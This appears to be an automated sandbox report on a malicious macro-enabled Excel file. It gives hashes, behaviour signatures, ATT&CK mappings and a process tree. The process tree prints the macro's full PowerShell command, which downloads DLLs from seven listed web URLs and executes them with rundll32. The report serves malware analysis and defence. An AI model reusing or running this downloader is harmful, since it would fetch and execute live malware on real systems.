eb9b1d31ed992bb4209042a25fe2050efa6adbd0315752469431e41c227f759d

General

Target
DOC_362025619648975.xlsm
Size 46KB
Sample211116-bqds3sbhh2
SHA256 bc4cdaa147ed05516f30f93f6a0b70f9ff987e2a10b11f0e043cd56866b10fce
MD5 579333349009e0644947cf60751e0aae
SHA1 04a621f49dcacdb5b627b1a74f20d304df8962e0
SHA512 10354a85c1954a303ec99de0d4c221c21ac4c756418ba533e659bf0deb90d959f6ef37207ad0fd2bd4022eb4eb22c7aff2f7000a9a1c5d03629da9298c3db3bf
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	420	3468	cmd.exe	68

Blocklisted process makes network request 3 IoCs

flow	pid	Process
32	3580	powershell.exe
40	1148	rundll32.exe
42	1148	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1732	rundll32.exe
2880	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Inkyftfxnzjfn\lezovwsgjpmzcty.znq	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3468	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3580	powershell.exe
3580	powershell.exe
3580	powershell.exe
1148	rundll32.exe
1148	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3580	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3468	EXCEL.EXE
3468	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE
3468	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3468 wrote to memory of 420	3468	EXCEL.EXE	70
PID 3468 wrote to memory of 420	3468	EXCEL.EXE	70
PID 420 wrote to memory of 3580	420	cmd.exe	72
PID 420 wrote to memory of 3580	420	cmd.exe	72
PID 3580 wrote to memory of 1732	3580	powershell.exe	74
PID 3580 wrote to memory of 1732	3580	powershell.exe	74
PID 3580 wrote to memory of 1732	3580	powershell.exe	74
PID 1732 wrote to memory of 2880	1732	rundll32.exe	75
PID 1732 wrote to memory of 2880	1732	rundll32.exe	75
PID 1732 wrote to memory of 2880	1732	rundll32.exe	75
PID 2880 wrote to memory of 612	2880	rundll32.exe	76
PID 2880 wrote to memory of 612	2880	rundll32.exe	76
PID 2880 wrote to memory of 612	2880	rundll32.exe	76
PID 612 wrote to memory of 1148	612	rundll32.exe	77
PID 612 wrote to memory of 1148	612	rundll32.exe	77
PID 612 wrote to memory of 1148	612	rundll32.exe	77

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\DOC_362025619648975.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://visteme.mx/shop/wp-admin/PP/,https://newsmag.danielolayinkas.com/content/nVgyRFrTE68Yd9s6/,http://av-quiz.tk/wp-content/k6K/,http://ranvipclub.net/pvhko/a/,https://goodtech.cetxlabs.com/content/5MfZPgP06/,http://devanture.com.sg/wp-includes/XBByNUNWvIEvawb68/,https://team.stagingapps.xyz/wp-content/aPIm2GsjA/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $dfkj="$strs=\"http://visteme.mx/shop/wp-admin/PP/,https://newsmag.danielolayinkas.com/content/nVgyRFrTE68Yd9s6/,http://av-quiz.tk/wp-content/k6K/,http://ranvipclub.net/pvhko/a/,https://goodtech.cetxlabs.com/content/5MfZPgP06/,http://devanture.com.sg/wp-includes/XBByNUNWvIEvawb68/,https://team.stagingapps.xyz/wp-content/aPIm2GsjA/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\SysWow64\rundll32.exe
      "C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\1307240723.dll,f1949245577
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1732
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\1307240723.dll",Control_RunDLL
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2880
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Inkyftfxnzjfn\lezovwsgjpmzcty.znq",IQGrpbTLqEv
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:612
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Inkyftfxnzjfn\lezovwsgjpmzcty.znq",Control_RunDLL
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1148

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1732-330-0x0000000010000000-0x0000000010028000-memory.dmp

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memory/3468-123-0x000001B24EC30000-0x000001B24EC32000-memory.dmp

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memory/3468-130-0x00007FFEE0A60000-0x00007FFEE0A70000-memory.dmp

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memory/3468-124-0x000001B24EC30000-0x000001B24EC32000-memory.dmp

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memory/3468-118-0x00007FFEE0A60000-0x00007FFEE0A70000-memory.dmp

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memory/3468-122-0x000001B24EC30000-0x000001B24EC32000-memory.dmp

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memory/3468-121-0x00007FFEE0A60000-0x00007FFEE0A70000-memory.dmp

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memory/3468-120-0x00007FFEE0A60000-0x00007FFEE0A70000-memory.dmp

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memory/3468-119-0x00007FFEE0A60000-0x00007FFEE0A70000-memory.dmp

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memory/3580-292-0x0000016BE9413000-0x0000016BE9415000-memory.dmp

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memory/3580-291-0x0000016BE9410000-0x0000016BE9412000-memory.dmp

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memory/3580-299-0x0000016BE9416000-0x0000016BE9418000-memory.dmp

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memory/3580-325-0x0000016BE9418000-0x0000016BE9419000-memory.dmp

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Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads